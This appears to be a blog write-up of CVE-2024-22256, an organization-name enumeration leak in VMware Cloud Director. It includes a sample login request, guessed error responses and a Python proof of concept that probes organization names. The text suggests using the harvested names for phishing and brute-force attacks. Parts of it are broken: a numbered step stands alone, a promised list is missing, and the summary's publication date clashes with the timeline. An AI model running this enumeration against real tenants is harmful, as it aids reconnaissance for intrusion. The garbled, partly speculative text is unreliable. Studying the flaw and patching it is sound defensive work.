CVE-2024-22256 - Inside VMware Cloud Director’s Organization Name Information Leak

Summary:
On March 15, 2024, VMware published a security advisory (VMSA-2024-0004) about CVE-2024-22256, a partial information disclosure vulnerability in VMware Cloud Director. While the flaw does not allow direct system compromise, it enables attackers to probe a target Cloud Director instance and gather sensitive information about the organization names within that cloud, which may be leveraged for further attacks like phishing, privilege escalation, or reconnaissance. Let’s break down what this means, how it works, and see the potential for exploitation with a hands-on example.

Understanding VMware Cloud Director and the Vulnerability

VMware Cloud Director is a platform used by cloud service providers to deliver secure, multi-tenant cloud resources to customers. Each customer is an “organization” in the cloud director context, and the security of each tenant’s data is paramount.

CVE-2024-22256 is classified as an “information disclosure” or more precisely, a _partial information leak_. It allows an unauthenticated user to glean which organization names exist on a particular Cloud Director instance by carefully analyzing the system response to crafted requests.

Official Reference:
- VMware Security Advisory: https://www.vmware.com/security/advisories/VMSA-2024-0004.html
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2024-22256

How Does the Flaw Work?

In a nutshell, when someone tries to interact with a Cloud Director instance’s login or resource endpoint and provides an organization name in the request, the system’s error message behaves differently if the organization exists or not.

A would-be attacker can automate sending probes with different organization names and read the system’s response to gradually map out valid tenants.

This is similar to a *username enumeration* vulnerability, but on an organizational level.

Technical Details: Example API Probe

When using Cloud Director, authentication usually involves specifying the organization name—either via the web GUI or API endpoint (e.g., https://cloud.example.com/api/sessions).

POST /api/sessions HTTP/1.1
Authorization: Basic BASE64(username@org:password)
Accept: application/*+xml;version=36.
Content-Type: application/vnd.vmware.vcloud.session+xml

How the Flaw Leaks Information

If you attempt to log in with a username at a valid organization, but with an incorrect password, you get one error (e.g., “Invalid credentials”). If you attempt with a nonexistent organization, the error might say “Organization not found” or a similar different message, or may even result in a specific HTTP status code or redirect.

Response when org exists, password wrong:
401 Unauthorized – Invalid credentials supplied for user xxx@ORG1.

Response when org does not exist:
403 Forbidden – Organization ORG2 does not exist.

Or you might see a 404, or a 403, instead of 401, etc.

Thus, by examining the feedback, an attacker can cycle through different names and confirm valid organizations.

Proof-of-Concept (PoC) Code

Let’s see a quick proof-of-concept using Python and the popular requests library. This PoC tries different organization names and captures the response code or body to infer which orgs are valid.

import requests
import base64

CLOUD_DIRECTOR_URL = "https://cloud.example.com/api/sessions"
ORGANIZATIONS = ["org1", "org2", "marketing", "admin", "test", "finance"]

username = "nonexistentuser"
password = "wrongpassword"

headers = {
    "Accept": "application/*+xml;version=36.",
    "Content-Type": "application/vnd.vmware.vcloud.session+xml"
}

for org in ORGANIZATIONS:
    auth_string = f"{username}@{org}:{password}"
    b64_auth = base64.b64encode(auth_string.encode()).decode()
    req_headers = headers.copy()
    req_headers["Authorization"] = "Basic " + b64_auth

    resp = requests.post(CLOUD_DIRECTOR_URL, headers=req_headers)

    print(f"Testing org '{org}': Status {resp.status_code}")

    if "Organization not found" in resp.text or "does not exist" in resp.text:
        print(f"   --> '{org}': Not a valid organization.")
    elif "Invalid credentials" in resp.text:
        print(f"   --> '{org}': VALID organization name detected (bad password).")
    else:
        print(f"   --> '{org}': Response: {resp.text[:50]}")

You can run this against a test instance (not a production one, nor without authorization—it’s illegal otherwise). Adjust the wordlist as needed for enumeration.

Check system feedback – Note error code or message.

3. Collect valid org names – Build a list for future phishing, social engineering, or brute-force attacks.

Why is this bad?
Organizations often name their tenants after business units, partners, or customers. Leak of these can help threat actors:

Mitigation and Best Practices

VMware released a fix in:

VMware Cloud Director 10.5.1.1, 10.4.2.3, and 10.3.3.7

Upgrade your instance as soon as possible.

Mitigation:

Consider generic error messages to avoid leakage

VMware’s Advisory:
https://www.vmware.com/security/advisories/VMSA-2024-0004.html

Final Thoughts

CVE-2024-22256 is not flashy, but in the context of cloud and managed service providers, even small leaks can lead to big consequences. The best defense is timely patching and adopting secure coding patterns—especially avoiding error messages that reveal “too much” to unauthenticated users.

For further reading:
- https://nvd.nist.gov/vuln/detail/CVE-2024-22256
- https://www.vmware.com/security/advisories/VMSA-2024-0004.html
- https://docs.vmware.com/en/VMware-Cloud-Director/index.html

Stay secure! If you’re a cloud admin, patch soon; if you’re a pentester, get permission first!

Timeline

Published on: 03/07/2024 10:15:07 UTC
Last modified on: 03/12/2024 15:01:32 UTC